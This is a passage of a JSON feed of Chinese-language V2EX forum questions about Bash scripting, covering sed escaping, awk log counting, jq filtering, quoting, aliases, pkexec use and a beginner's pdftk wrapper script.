      "content_html": "<p>\u4e00\u6bb5\u811a\u672c\u91cc\uff0c\u539f\u6765\u6709\u4e24\u5904 sudo \u3002\u73b0\u5728\u60f3\u6539\u7528 pkexec \uff0c\u600e\u4e48\u5728\u7b2c\u4e8c\u5904\u63d0\u6743\u65f6\u514d\u8f93\u5bc6\u7801\uff1f</p>\n<p>PS \uff0c\u547d\u4ee4\u88ab\u6211\u76f4\u63a5\u653e\u5728.desktop \u6587\u4ef6\u91cc\u4e86\u3002\u5927\u81f4\u5982\u4e0b\uff1a</p>\n<pre><code>Exec=bash -c 'xxxx ; sudo xxxx ; xxxx ; sudo xxxx ; xxxx'\n</code></pre>\n", 
      "date_published": "2023-02-15T06:21:11+00:00", 
      "title": "sudo \u6539\u7528 pkexec \u7684\u95ee\u9898", 
      "id": "https://www.v2ex.com/t/916322"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/toyst", 
        "name": "toyst", 
        "avatar": "https://cdn.v2ex.com/avatar/15b8/4c8d/341928_large.png?m=1655446771"
      }, 
      "url": "https://www.v2ex.com/t/913504", 
      "date_modified": "2023-02-06T02:18:09+00:00", 
      "content_html": "<pre><code>a='\\u@\\h:\\w\\$ '\na='\\[\\e[1;32;40m\\][\\u@\\h - \\t \\W]\\$ \\[\\e[0m\\]'\n</code></pre>\n<p>\u60f3\u5b9e\u73b0\u628a</p>\n<pre><code>\\u@\\h:\\w\\$ \n</code></pre>\n<p>\u66ff\u6362\u6210</p>\n<pre><code>\\[\\e[1;32;40m\\][\\u@\\h - \\t \\W]\\$ \\[\\e[0m\\]\n</code></pre>\n", 
      "date_published": "2023-02-06T02:16:18+00:00", 
      "title": "sed \u5982\u4f55\u67e5\u627e\u66ff\u6362\u53cd\u659c\u6760", 
      "id": "https://www.v2ex.com/t/913504"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/adoyle", 
        "name": "adoyle", 
        "avatar": "https://cdn.v2ex.com/avatar/e6a7/5be3/27765_large.png?m=1682333375"
      }, 
      "url": "https://www.v2ex.com/t/897478", 
      "title": "lobash \u53d1\u5e03 v0.5.0 \u7248\u672c", 
      "id": "https://www.v2ex.com/t/897478", 
      "date_published": "2022-11-23T17:31:50+00:00", 
      "content_html": "<p><a href=\"https://github.com/adoyle-h/lobash\" rel=\"nofollow\">https://github.com/adoyle-h/lobash</a></p>\n<p>\u4e00\u4e2a\u4e13\u7528\u4e8e Bash \u7f16\u7a0b\u7684\u5e93\u3002\u4e4b\u524d\u6709\u5728 V2EX \u53d1\u8fc7<a href=\"https://www.v2ex.com/t/579173\" rel=\"nofollow\">\u4ecb\u7ecd</a>\u3002</p>\n<p>\u9694\u4e86\u597d\u591a\u5e74\u7ec8\u4e8e\u53d1\u5e03\u4e86\u65b0\u7248\u672c...\u4e4b\u524d\u6709\u5728\u7528\u8fc7\u7684\u670b\u53cb\u53ef\u4ee5\u770b\u4e0b <a href=\"https://github.com/adoyle-h/lobash/blob/master/CHANGELOG.md\" rel=\"nofollow\">changelog</a>\u3002</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/wxf666", 
        "name": "wxf666", 
        "avatar": "https://cdn.v2ex.com/gravatar/a983d2278ab678b79cd8d7f54d2e86a4?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/872660", 
      "title": "\u4e3a\u4ec0\u4e48\u8fd9\u6837\u5199\u65e0\u6cd5\u8fde\u63a5(join)\u6570\u7ec4\u5404\u9879\uff1f", 
      "id": "https://www.v2ex.com/t/872660", 
      "date_published": "2022-08-13T11:53:14+00:00", 
      "content_html": "<pre><code class=\"language-bash\"># \u58f0\u660e\u6570\u7ec4\ndeclare -a arr=(12 34 56 78 90)\n\n# \u7a0d\u540e\u6211\u60f3\u7528 , \u8fde\u63a5\u5b83\u4eec\nIFS=','\n\n# \u6d4b\u8bd5\u4e00\uff1a\u6211\u60f3\u8fde\u63a5\u6570\u7ec4\u524d\u4e09\u4e2a\u6570\u5b57\uff08 OK \uff09\ncat &lt;&lt;&lt;\"${arr[*]:0:3}\"\n\n# \u6d4b\u8bd5\u4e8c\uff1a\u5728 HereDoc \u91cc\uff0c\u540c\u6837\u7684\u5199\u6cd5\uff0c\u9017\u53f7\u5374\u4e0d\u89c1\u4e86\uff1f\uff08\u9664\u975e\u5168\u90e8\u8fde\u63a5\uff0c\u4e0d\u6307\u5b9a\u5176\u4e2d\u4e00\u5c0f\u6bb5\uff09\ncat &lt;&lt;EOF\n${arr[*]:0:3}\n${arr[*]}\nEOF\n</code></pre>\n<p>\u7ed3\u679c\uff1a</p>\n<pre><code class=\"language-shell\">12,34,56        # \u6d4b\u8bd5\u4e00\uff0cOK\n12 34 56        # \u6d4b\u8bd5\u4e8c\uff0c\uff1f\uff1f\uff1f\u4e0d\u662f\u548c\u4e0a\u9762\u5199\u6cd5\u4e00\u6837\u5417\uff1f\uff1f\uff1f\n12,34,56,78,90  # \u6d4b\u8bd5\u4e8c\uff0c\u5168\u90e8\u8fde\u63a5\uff0cOK\n</code></pre>\n<p>\u53c8\u88ab <code>bash</code> \u6298\u78e8\u4e86\u3002\u3002</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/qsnow6", 
        "name": "qsnow6", 
        "avatar": "https://cdn.v2ex.com/avatar/f5fb/13d1/180875_large.png?m=1752161475"
      }, 
      "url": "https://www.v2ex.com/t/846985", 
      "date_modified": "2022-04-14T09:35:46+00:00", 
      "content_html": "<p>nginx \u65e5\u5fd7\u7684\u683c\u5f0f\u662f\u8fd9\u6837\u7684\uff1a</p>\n<pre><code>[5/Apr/2022:12:45:28 +0800] 175.139.183.196 - 1391 \"https://www.example.com/xxxxx/1.html\" \"GET https://www.example.com/file/upload/201512/02/11-58-30-89-157.jpg\" 302 46 454 MISS \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36\" \"text/html; charset=iso-8859-1\"\n</code></pre>\n<p>\u6211\u53ef\u4ee5\u901a\u8fc7\u4ee5\u4e0b\u547d\u4ee4\u7edf\u8ba1\u6bcf\u4e2a\u7f51\u5740 404 \u7684\u6b21\u6570</p>\n<pre><code class=\"language-bash\">awk '{if($9=404) print $6} |sort|uniq|wc -l'\n</code></pre>\n<p>\u5982\u679c\u6211\u60f3\u6309\u76ee\u5f55\u7edf\u8ba1\u51fa\u73b0 404 \u7684\u6b21\u6570\u7684\u8bdd\uff0c\u5e94\u8be5\u600e\u4e48\u7528 awk \u6765\u5b9e\u73b0\uff1f</p>\n<p>\u5373\u7edf\u8ba1\u7f51\u5740\u4e2d /xxxxx/\u90e8\u5206\u51fa\u73b0 404 \u7684\u6b21\u6570</p>\n", 
      "date_published": "2022-04-14T09:35:13+00:00", 
      "title": "\u5982\u4f55\u4f7f\u7528 awk \u6253\u5370 nginx 404 \u65e5\u5fd7\u7684\u76ee\u5f55", 
      "id": "https://www.v2ex.com/t/846985"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/tuduweb", 
        "name": "tuduweb", 
        "avatar": "https://cdn.v2ex.com/avatar/7925/6a1f/245535_large.png?m=1616033673"
      }, 
      "url": "https://www.v2ex.com/t/823625", 
      "date_modified": "2021-12-21T14:06:57+00:00", 
      "content_html": "<p>\u7c7b\u4f3c\u4e8e\u4f7f\u7528<code>node | tee out.txt</code>\u53ef\u4ee5\u628a node \u4e2d\u8f93\u51fa\u7684\u5185\u5bb9\u4e0d\u4ec5\u8f93\u51fa\u5230\u5c4f\u5e55\u7ec8\u7aef\uff0c\u8fd8\u53ef\u4ee5\u8f93\u51fa\u5230\u6587\u4ef6<code>out.txt</code>\u3002</p>\n<p>\u90a3\u600e\u4e48\u6837\u505a\u624d\u80fd\u628a\u4e0d\u5f71\u54cd\u5411\u7ec8\u7aef\u4e2d\u6b63\u5e38\u8f93\u5165\u5185\u5bb9\uff0c\u540c\u65f6\u628a\u8f93\u5165\u7684\u5185\u5bb9\u4fdd\u5b58\u4e00\u4efd\u5230\u6587\u4ef6\u4e2d\uff0c\u4f5c\u4e3a\u8bb0\u5f55\u5462\uff1f</p>\n<p>\u662f\u8981\u5bf9<code>/dev/stdin</code>\u52a8\u624b\u811a\u5417\uff1f</p>\n<p>RTRT \u8c22\u8c22\u5404\u4f4d\u4e86\uff01</p>\n", 
      "date_published": "2021-12-21T14:05:50+00:00", 
      "title": "\u8bf7\u6559\u4e00\u4e0b\uff0c\u600e\u4e48\u628a\u5411\u7ec8\u7aef\u8f93\u5165\u7684\u5185\u5bb9\u91cd\u5b9a\u5411\u4e00\u4efd\u5230\u6587\u4ef6\uff1f", 
      "id": "https://www.v2ex.com/t/823625"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/Ryanjie", 
        "name": "Ryanjie", 
        "avatar": "https://cdn.v2ex.com/gravatar/f199b5d19903ab463d27f2a8894766c2?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/821717", 
      "title": "\u8bf7\u6559\u4e00\u4e0b shell \u91cc\u4f7f\u7528 jq \u5904\u7406 json \u5e94\u8be5\u600e\u4e48\u5199", 
      "id": "https://www.v2ex.com/t/821717", 
      "date_published": "2021-12-12T13:58:51+00:00", 
      "content_html": "<p>\u5982\u9898\uff0c\u6709\u4e00\u4e2a json \u6587\u4ef6\uff0c</p>\n<pre><code class=\"language-json\">[\n    {\n        \"id\": 0001,\n        \"name\": \"Zhang.San_123456\",\n        \"email\": {\n            \"qqmail\": \"mail1@qq.com\",\n            \"163mail\": \"mail1@163.com\"\n        },\n        \"Address\": {\n            \"Province\": \"Guangdong\",\n            \"City\": \"Zhanjiang\",\n            \"Country\": \"Xuwen\"\n        }\n    },\n    {\n        \"id\": 0002,\n        \"name\": \"Li.Si_123456\",\n        \"email\": {\n            \"qqmail\": \"mail2@qq.com\",\n            \"163mail\": \"mail2@163.com\"\n        },\n        \"Address\": {\n            \"Province\": \"Sichuan\",\n            \"City\": \"Yibin\",\n            \"Country\": \"Jiang'an\"\n        }\n    },\n    {\n        \"id\": 0003,\n        \"name\": \"Wang.Wu_123456\",\n        \"email\": {\n            \"qqmail\": \"mail3@qq.com\",\n            \"163mail\": \"mail3@163.com\"\n        },\n        \"Address\": {\n            \"Province\": \"Shanxi\",\n            \"City\": \"Taiyuan\",\n            \"Country\": \"Qingxu\"\n        }\n    }\n]\n\n</code></pre>\n<p>\u6211\u60f3\u83b7\u53d6\u91cc\u9762 name \u5b57\u6bb5\u4e3a Li.Si_123456 \u7684\u4e00\u90e8\u5206\uff0c\u8fd4\u56de\u65f6\u79fb\u9664 email \u91cc\u7684 163mail \uff0c\u8fd4\u56de\u5185\u5bb9\u5982\u4e0b\uff1a</p>\n<pre><code class=\"language-json\">[\n    {\n        \"id\": 0002,\n        \"name\": \"Li.Si_123456\",\n        \"url\": \"http://xxx.com\",\n        \"qqmail\": \"mail2@qq.com\",\n        \"Address\": {\n            \"Province\": \"Sichuan\",\n            \"City\": \"Yibin\",\n            \"Country\": \"Jiang'an\"\n        }\n    }\n]\n</code></pre>\n<p>\u8bf7\u6559\u4e00\u4e0b\u8fd9\u4e2a\u4f7f\u7528 jq \u5904\u7406\u5e94\u8be5\u600e\u4e48\u5199\u5462\uff0c\u6709\u5927\u4f6c\u80fd\u6307\u6559\u4e00\u4e0b\u5417\uff1f\u8c22\u8c22\u4e86^^</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/NGPONG", 
        "name": "NGPONG", 
        "avatar": "https://cdn.v2ex.com/avatar/8c0a/cfe6/443029_large.png?m=1719679168"
      }, 
      "url": "https://www.v2ex.com/t/799223", 
      "date_modified": "2021-09-01T04:42:45+00:00", 
      "content_html": "<p>RT\uff0c\u7ed9\u6539\u574f\u4e86</p>\n", 
      "date_published": "2021-09-01T03:27:17+00:00", 
      "title": "\u6c42\u4e00\u4e2a wsl2 ubuntu20.04 \u7684\u9ed8\u8ba4 /etc/bash.bashrc", 
      "id": "https://www.v2ex.com/t/799223"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/SSang", 
        "name": "SSang", 
        "avatar": "https://cdn.v2ex.com/avatar/e063/7c9e/535525_large.png?m=1757037531"
      }, 
      "url": "https://www.v2ex.com/t/798972", 
      "title": "\u5982\u4f55\u8ba9 bash \u7684\u8865\u5168 popup \u663e\u793a", 
      "id": "https://www.v2ex.com/t/798972", 
      "date_published": "2021-08-31T01:40:00+00:00", 
      "content_html": "<p>\u6709\u5f88\u591a\u65f6\u5019\u4f1a\u9047\u5230\u4e2d\u6587\u8def\u5f84\uff0c\u5c31\u5fc5\u987b\u5f97\u5207\u6362\u4e2d\u6587\u8f93\u5165\u6cd5\uff0c\u518d tab \uff08\u867d\u7136\u50cf\u662f zsh/fish \u5c31\u53ef\u4ee5\u591a\u6b21 tab \u6765\u9009\u62e9\uff0c\u4e0d\u8fc7\u76ee\u524d\u6211\u8fd8\u6ca1\u6709\u8fc1\u79fb zsh \u7684\u8ba1\u5212\uff0c\u5e76\u4e14\u6211\u4e5f\u6ca1\u6709\u60f3\u8981\u4f7f\u7528\u9f20\u6807\u7684\u610f\u613f\uff09</p>\n<p><img alt=\"Snipaste_20210831_092525.png\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://i.loli.net/2021/08/31/UwDqMQGkp3YRC51.png\"/></p>\n<p>\u6211\u4e4b\u524d\u770b\u5230\u6709\u522b\u4eba\u7684\u7ec8\u7aef\u7528\u7684\u8865\u5168\u6709 popup \u7684\u529f\u80fd\uff0c\u7c7b\u4f3c vim \u7684 popup\uff0c\u50cf\u662f\u8fd9\u6837\uff08\u5e74\u4ee3\u4e45\u8fdc\uff0c\u6211\u4e5f\u4e0d\u80fd\u786e\u5b9a\u4ed6\u7528\u7684\u662f\u4ec0\u4e48\u547d\u4ee4\u884c\uff09</p>\n<p><img alt=\"Snipaste_20210831_093203.png\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://i.loli.net/2021/08/31/Qy3gGinRLB9zjc2.png\"/></p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/dangyuluo", 
        "name": "dangyuluo", 
        "avatar": "https://cdn.v2ex.com/avatar/b251/eb66/70143_large.png?m=1674619921"
      }, 
      "url": "https://www.v2ex.com/t/786688", 
      "date_modified": "2021-06-30T06:43:14+00:00", 
      "content_html": "<p>\u4f8b\u5b50\u5982\u4e0b</p>\n<pre><code class=\"language-shell\">$ set -x # enable debug output from bash\n$ export PYTEST_FLAG='--pytest-args -k \"not (xmllint or pclint)\"';\n$ pytest ${PYTEST_FLAG}\n+ pytest --pytest-args -k '\"not' '(xmllint' or 'pclint)\"' # this line is the debug output\n... error\n</code></pre>\n<p>\u4ece\u7b2c\u56db\u884c\u53ef\u4ee5\u770b\u51fa\uff0c\u672c\u6765<code>\"not (xmllint or pclint)\"</code>\u5e94\u8be5\u4f5c\u4e3a\u4e00\u4e2a\u5b57\u7b26\u4e32\u4f20\u9012\u7ed9<code>pytest</code>\u547d\u4ee4\uff0c\u4f46\u662f bash \u5728 variable expansion \u540e\u628a<code>\"not</code>, <code>(xmllint</code> \u548c <code>pclint)\"</code> \u7528\u5355\u5f15\u53f7\u5708\u4e86\u8d77\u6765\uff0c\u4f3c\u4e4e\u56e0\u4e3a\u4ed6\u4eec\u542b\u6709\u4e00\u4e9b\u7279\u6b8a\u5b57\u7b26\uff1f\u5982\u4f55\u963b\u6b62 bash \u8fd9\u79cd\u884c\u4e3a\u5462\uff1f\u8c22\u8c22</p>\n<p>\u6211\u6700\u7ec8\u60f3\u8981 Bash \u6267\u884c\u7684\u547d\u4ee4\u4e3a\uff1a</p>\n<pre><code class=\"language-shell\">$ pytest --pytest-args -k \"not (xmllint or pclint)\"\n</code></pre>\n", 
      "date_published": "2021-06-30T06:42:17+00:00", 
      "title": "\u5982\u4f55\u53bb\u9664 Bash variable expansion \u540e\u52a0\u7684\u5355\u5f15\u53f7\uff1f", 
      "id": "https://www.v2ex.com/t/786688"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/xiaofami", 
        "name": "xiaofami", 
        "avatar": "https://cdn.v2ex.com/avatar/a79c/730c/70149_large.png?m=1766388556"
      }, 
      "url": "https://www.v2ex.com/t/777942", 
      "title": "\u521d\u5b66\u8005\u5199\u4e86\u4e2a bash \u811a\u672c\uff0c\u6c42\u5927\u4f6c\u70b9\u8bc4", 
      "id": "https://www.v2ex.com/t/777942", 
      "date_published": "2021-05-19T08:47:13+00:00", 
      "content_html": "<p>\u8bfb\u7684\u300a Linux \u547d\u4ee4\u884c\u4e0e shell \u811a\u672c\u7f16\u7a0b\u5927\u5168\u300b\u8fd9\u672c\u4e66\u3002\u76ee\u524d\u81ea\u5df1\u611f\u89c9\u5217\u8868\u5904\u7406\u4e0d\u597d\uff0c\u9047\u5230\u9700\u8981\u904d\u5386\u5217\u8868\u7684\u65f6\u5019\u6211\u4f1a\u628a\u5b83\u4f20\u7ed9\u53e6\u4e00\u4e2a\u51fd\u6570\uff0c\u7136\u540e\u7528\u4f4d\u7f6e\u53c2\u6570+shift \u5904\u7406\uff0c\u4e0d\u77e5\u662f\u5426\u5408\u9002\u3002</p>\n<pre><code class=\"language-bash\">#!/bin/bash\n# \u5bf9 pdftk \u7684\u7b80\u5355\u5c01\u88c5\uff0c\u7528\u4e8e\u5220\u9664\u6307\u5b9a\u7684\u9875\u7801\uff0c\u4ee5\u7a7a\u683c\u5206\u9694\uff0c\u652f\u6301\u5f62\u5982\"5-7\"\u7684\u9875\u7801\u8303\u56f4\u3002\u9875\u7801\u8f93\u5165\u4e0d\u5fc5\u6309\u987a\u5e8f\uff0c\u7c7b\u4f3c\"12 6-8 1 3\"\u8f93\u5165\u662f\u53ef\u4ee5\u6b63\u5e38\u5de5\u4f5c\u7684\u3002\n\n#isPdftkinstalled \u4f5c\u7528\u4e3a\u68c0\u67e5 pdftk \u662f\u5426\u53ef\u7528\uff0c\u82e5\u53ef\u7528\u5219\u6267\u884c pdftk --version\nfunction isPdftkinstalled {\n    echo\n    if [ -z $(whereis pdftk | gawk '{print $2}') ]\n    then\n        echo \"pdftk \u672a\u5b89\u88c5\u6216\u672a\u52a0\u5165 PATH\uff0c\u8bf7\u68c0\u67e5\u3002\"\n        echo \"\u63d0\u793a\uff1apdftk \u5df2\u52a0\u5165 Deepin \u5b98\u65b9\u6e90\uff0c\u60a8\u53ef\u4ee5\u901a\u8fc7 sudo apt install pdftk \u7b80\u5355\u5b89\u88c5\u3002\"\n    else\n        echo $(pdftk --version)\n    fi\n    echo\n}\n\n#getCouples \u4f5c\u7528\u4e3a\u5bf9\u8f93\u5165\u7684\u9875\u7801\u8fdb\u884c\u5904\u7406\uff0c\u652f\u6301\u8f93\u5165\u5355\u9875\u6216\u9875\u7801\u8303\u56f4\uff0c\u5c06\u5176\u8f6c\u6362\u4e3a\u6570\u5bf9\uff08\u83b7\u53d6\u8303\u56f4\u524d\u540e\u9875\u7801\uff0c\u4ee5\u5192\u53f7\u5206\u9694\uff09\nfunction getCouples {\n    local couples=''\n    local left_end=''\n    local right_end=''\n    while [ -n \"$1\" ]\n    do      \n        arg1=$(echo \"$1\" | gawk -F\"[- ]\" '{print $1}')\n        arg2=$(echo \"$1\" | gawk -F\"[- ]\" '{print $2}')\n        left_end=$[ $arg1 - 1 ]\n        #\u5bf9\u5e94\u9875\u7801\u8303\u56f4\u60c5\u51b5\n        if [ -n \"$arg2\" ]\n        then\n            right_end=$[ $arg2 + 1 ]\n        else\n        #\u5bf9\u5e94\u5355\u9875\u60c5\u51b5\n            right_end=$[ $arg1 + 1 ]\n        fi\n        couples=$(echo $couples $left_end:$right_end)\n        shift\n    done\n    #\u6570\u5bf9\u6392\u5e8f\u5904\u7406\uff0c\u6ce8\u610f sort \u662f\u9488\u5bf9\u884c\u7684\u6392\u5e8f\uff0c\u6545\u9700\u8981\u5c06\u7a7a\u683c\u8f6c\u6362\u6210\u6362\u884c\n    couples=$(echo $couples | tr \" \" \"\\n\" | sort -t ':' -k 1 -n)\n    couples=$(refineCouples $couples)\n    echo $couples\n}\n\n#refineCouples \u4f5c\u7528\u4e3a\u5408\u5e76\u76f8\u90bb\u6570\u5bf9\uff0c\u4f9b getCouples \u8c03\u7528\nfunction refineCouples {\n    local args=''\n    local isNabour=''\n    local Num1=$(echo $1 | cut -d \":\" -f1)\n    local Num2=$(echo $1 | cut -d \":\" -f2)\n    local Num3=''\n    local Num4=''\n    shift\n    while [ -n \"$1\" ]\n    do\n        Num3=$(echo $1 | cut -d \":\" -f1)\n        Num4=$(echo $1 | cut -d \":\" -f2)\n        isNabour=$[ $Num2 - $Num3 ]\n        if [ $isNabour -eq 1 ]\n        then\n            Num2=$Num4\n        else\n            args=$(echo $args $Num1:$Num2)\n            Num1=$Num3\n            Num2=$Num4\n        fi\n        shift\n    done\n    args=$(echo $args $Num1:$Num2)\n    echo $args\n}\n\n#generateRanges \u4f5c\u7528\u4e3a\u5c06\u6570\u5bf9\u8f6c\u6362\u4e3a pdftk \u53ef\u7528\u7684\u9875\u7801\u8303\u56f4\nfunction generateRanges {\n    local first_Bit=$(echo $1 | cut -d \":\" -f1)\n    local Num1=''\n    local Num2=''\n    local args=''\n    while [ -n \"$1\" ]\n    do\n        Num1=$(echo $1 | cut -d \":\" -f2)\n        if [ -n \"$2\" ]\n        then\n            Num2=$(echo $2 | cut -d \":\" -f1)\n            if [ $Num1 -gt $Num2 ]\n            then\n                Num2=$Num1\n            fi\n        else\n            Num2=\"end\"\n        fi\n        shift\n        args=$(echo $args $Num1-$Num2)\n    done\n\n    if [ $first_Bit -gt 0 ]\n    then\n        args=$(echo 1-$first_Bit $args)\n    fi\n    echo $args\n}\n\npdfFile=$1\nshift\nif [ $# -lt 2 ]\nthen\n    echo \"Usage:pdftool [filename] [discard pages]\"\n    exit\nfi\n\npagesConserved=$(generateRanges $(getCouples $*))\npdftk_command=$(echo pdftk $pdfFile cat $pagesConserved output new_$(basename ${pdfFile}))\n#echo $pdftk_command\n$pdftk_command\n</code></pre>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/xltfes", 
        "name": "xltfes", 
        "avatar": "https://cdn.v2ex.com/avatar/575f/6169/502765_large.png?m=1615269684"
      }, 
      "url": "https://www.v2ex.com/t/758589", 
      "title": "tar \u4f7f\u7528\u7ba1\u9053\u7684\u56f0\u60d1", 
      "id": "https://www.v2ex.com/t/758589", 
      "date_published": "2021-03-04T12:59:55+00:00", 
      "content_html": "<p>\u5728<a href=\"https://linuxpip.org/fix-directory-not-empty-mv/\" rel=\"nofollow\">\u8fd9\u4e2a\u7f51\u9875</a>\u4e0a\u770b\u5230<code>(cd backup &amp;&amp; tar c .) | (cd backupArchives &amp;&amp; tar xf -)</code>\u8fd9\u6761\u547d\u4ee4\uff0c\u5bf9\u4e8e tar \u76f4\u63a5\u7528\u7ba1\u9053\u8fdb\u884c\u6253\u5305\u89e3\u5305\u8fd9\u4e2a\u64cd\u4f5c\u76f4\u547c\u5c11\u89c1\uff0c<code>man tar</code>\u4e2d\u4e5f\u6ca1\u770b\u5230\u76f8\u5173\u4ecb\u7ecd</p>\n<ul>\n<li><strong>\u7528-\u8868\u793a\u6807\u51c6\u8f93\u5165\u8fd9\u79cd\u64cd\u4f5c\u662f\u54ea\u6765\u7684\uff1f\u5e0c\u671b\u5927\u4f6c\u89e3\u60d1</strong></li>\n<li>\u5982\u679c\u80fd\u7ed9\u51fa unix-style \u6216 gnu-style \u7684\u6807\u51c6\u5199\u6cd5\u5c31\u66f4\u597d\u4e86\\doge</li>\n</ul>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/jmyz0455", 
        "name": "jmyz0455", 
        "avatar": "https://cdn.v2ex.com/avatar/bc54/cb4a/61022_large.png?m=1676275048"
      }, 
      "url": "https://www.v2ex.com/t/755769", 
      "title": "\u5982\u4f55\u83b7\u53d6\u547d\u4ee4\u6807\u51c6\u8f93\u51fa\u5230\u53d8\u91cf\u91cc\u5e76\u4fdd\u7559\u989c\u8272\uff1f\u6216\u8005\u80fd\u4e0d\u80fd\u4e00\u8fb9\u8f93\u51fa\u4e00\u8fb9\u8d4b\u503c\u6216\u5224\u65ad\u3002", 
      "id": "https://www.v2ex.com/t/755769", 
      "date_published": "2021-02-24T03:55:53+00:00", 
      "content_html": "<p>\u6211\u6709\u4e00\u6bb5 bash shell script\uff0c\u9700\u8981\u5faa\u73af\u7528\u5230\u597d\u51e0\u4e2a\u547d\u4ee4\uff0c\u8fd9\u4e9b\u547d\u4ee4\u7684\u8f93\u51fa\u672c\u8eab\u5c31\u662f\u5e26\u989c\u8272\u7684\uff0c\u6bd4\u5982 ls \u547d\u4ee4\u3002</p>\n<p>\u4f46\u662f\u5982\u679c ls \u7684\u8f93\u51fa\u4e3a\u7a7a\uff0c\u90a3\u4e48\u6211\u9700\u8981\u63d0\u524d\u7ed3\u675f\u5faa\u73af\uff0c\u8981\u6ce8\u610f\u7684\u662f\u5982\u679c\u975e\u7a7a\uff0c\u4e00\u5b9a\u8981\u8f93\u51fa\u539f\u6709\u547d\u4ee4\u7684\u989c\u8272\uff0c\u4e0d\u7136\u770b\u5f97\u773c\u82b1\u3002</p>\n<p>\u6240\u4ee5\u6211\u7684\u9700\u6c42\u662f\uff0c\u65e2\u80fd\u8c03\u7528\u4e00\u4e2a\u547d\u4ee4\uff0c\u8f93\u51fa\u5e26\u989c\u8272\u7684\u7ed3\u679c\uff0c\u53c8\u80fd\u5728\u547d\u4ee4\u8f93\u51fa\u4e3a\u7a7a\u65f6\uff0c\u4e0d\u8f93\u51fa\u4e86\uff0c\u8df3\u51fa\u5faa\u73af\u3002</p>\n<p>\u60f3\u5230\u51e0\u79cd\u89e3\u51b3\u65b9\u6848\uff1a</p>\n<ol>\n<li>\u7528\u53d8\u91cf\u83b7\u53d6\u547d\u4ee4\u8f93\u51fa\uff0c\u5148\u5224\u65ad\u975e\u7a7a\uff0c\u518d\u7528 <code>echo -e</code> \u8f93\u51fa\uff0c\u7ed3\u679c\u53d1\u73b0\u8f93\u51fa\u7684\u662f\u7eaf\u6587\u672c\uff0c\u989c\u8272\u4e22\u5931\u4e86\u3002</li>\n<li>\u76f4\u63a5\u8fd0\u884c\u547d\u4ee4\uff0c\u8f93\u51fa\u989c\u8272\u6587\u672c\u7684\u540c\u65f6\uff0c\u8d4b\u503c\u5230\u67d0\u4e2a\u53d8\u91cf\uff0c\u4f46\u662f\u4e0d\u77e5\u9053\u600e\u4e48\u5f04\u3002</li>\n<li>\u76f4\u63a5\u8fd0\u884c\u547d\u4ee4\uff0c\u7528\u7ba1\u9053\u63a5\u53e3\u7ed3\u679c\uff0c\u5224\u65ad\u8f93\u51fa\u662f\u5426\u4e3a\u7a7a\uff0c\u975e\u7a7a\u5c31\u8f93\u51fa\uff0c\u7a7a\u5c31\u8df3\u51fa\u5faa\u73af\uff0c\u4f46\u662f\u7528 xargs \u597d\u50cf\u4e5f\u4e0d\u592a\u5bf9\u3002</li>\n</ol>\n<p>\u6211\u8fd9\u4e2a\u9700\u6c42\u80fd\u5b9e\u73b0\u5417\uff1f\u8bf7\u95ee\u601d\u8def\u54ea\u91cc\u4e0d\u5bf9\uff0c\u8fd8\u662f\u65b9\u6cd5\u9519\u4e86\uff1f</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/sungnix", 
        "name": "sungnix", 
        "avatar": "https://cdn.v2ex.com/avatar/636b/1370/14144_large.png?m=1646208158"
      }, 
      "url": "https://www.v2ex.com/t/736758", 
      "title": "\u8bf7\u95ee\u5982\u4f55\u5728 alias \u547d\u4ee4\u91cc\u4f20\u9012\u53c2\u6570\uff1f", 
      "id": "https://www.v2ex.com/t/736758", 
      "date_published": "2020-12-18T06:10:59+00:00", 
      "content_html": "<p>\u6bd4\u5982\u8981\u538b\u7f29\u4e00\u4e2a\u76ee\u5f55\u9700\u8981\u8f93\u5165\u4e0b\u9762\u7684 zip \u547d\u4ee4\uff1a<br/>\n<code>zip -r git.zip git</code></p>\n<p>\u73b0\u5728\u6211\u60f3\u901a\u8fc7 alias \u7b80\u5316\u8f93\u5165\u7684\u547d\u4ee4\uff1a<br/>\n<code>alias zp='zip -r $1.zip $1'</code></p>\n<p>\u4f46\u662f\u6211\u53d1\u73b0\u6267\u884c <code>zp git</code> \u540e\u751f\u6210\u7684\u6587\u4ef6\u662f <code>.zip</code> \u800c\u4e0d\u662f\u5e0c\u671b\u7684 <code>git.zip</code>\uff0c<br/>\n\u8bf7\u95ee\u5982\u4f55\u624d\u80fd\u628a\u6587\u4ef6\u540d\u4f20\u9012\u7ed9 zip \u547d\u4ee4\uff1f</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/dangyuluo", 
        "name": "dangyuluo", 
        "avatar": "https://cdn.v2ex.com/avatar/b251/eb66/70143_large.png?m=1674619921"
      }, 
      "url": "https://www.v2ex.com/t/734488", 
      "title": "Bash \u4e0b\u5982\u4f55\u4f18\u96c5\u5730\u4e34\u65f6\u5728\u540e\u53f0\u8fd0\u884c\u7a0b\u5e8f\u5e76\u6613\u4e8e\u7ba1\u7406\uff1f", 
      "id": "https://www.v2ex.com/t/734488", 
      "date_published": "2020-12-11T06:00:27+00:00", 
